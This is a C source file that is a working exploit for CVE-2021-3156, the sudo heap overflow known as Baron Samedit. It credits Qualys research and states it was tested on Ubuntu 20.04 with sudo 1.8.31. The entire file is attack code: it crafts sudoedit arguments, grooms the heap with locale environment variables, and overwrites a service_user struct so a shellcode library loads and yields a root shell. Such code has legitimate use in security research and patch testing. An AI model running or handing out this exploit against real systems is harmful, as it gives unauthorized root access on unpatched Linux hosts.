
#include <unistd.h> // execve()
#include <string.h> // strcat()

/* Exploit for CVE-2021-3156, drops a root shell.
 * All credit for original research: Qualys Research Team.
 * https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
 *
 * Tested on Ubuntu 20.04 against sudo 1.8.31
 * Author: Max Kamper
 */

void main(void) {

    // 'buf' size determines size of overflowing chunk.
    // This will allocate an 0xf0-sized chunk before the target service_user struct.
    int i;
    char buf[0xf0] = {0};
    memset(buf, 'Y', 0xe0);
    strcat(buf, "\\");

    char* argv[] = {
        "sudoedit",
        "-s",
        buf,
        NULL};

    // Use some LC_ vars for heap Feng-Shui.
    // This should allocate the target service_user struct in the path of the overflow.
    char messages[0xe0] = {"LC_MESSAGES=en_GB.UTF-8@"};
    memset(messages + strlen(messages), 'A', 0xb8);

    char telephone[0x50] = {"LC_TELEPHONE=C.UTF-8@"};
    memset(telephone + strlen(telephone), 'A', 0x28);

    char measurement[0x50] = {"LC_MEASUREMENT=C.UTF-8@"};
    memset(measurement + strlen(measurement), 'A', 0x28);

    // This environment variable will be copied onto the heap after the overflowing chunk.
    // Use it to bridge the gap between the overflow and the target service_user struct.
    char overflow[0x500] = {0};
    memset(overflow, 'X', 0x4cf);
    strcat(overflow, "\\");

    // Overwrite the 'files' service_user struct's name with the path of our shellcode library.
    // The backslashes write nulls which are needed to dodge a couple of crashes.
    char* envp[] = {
        overflow,
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "XXXXXXX\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "x/x\\",
        "Z",
        messages,
        telephone,
        measurement,
        NULL};

    // Invoke sudoedit with our argv & envp.
    execve("/usr/bin/sudoedit", argv, envp);
}
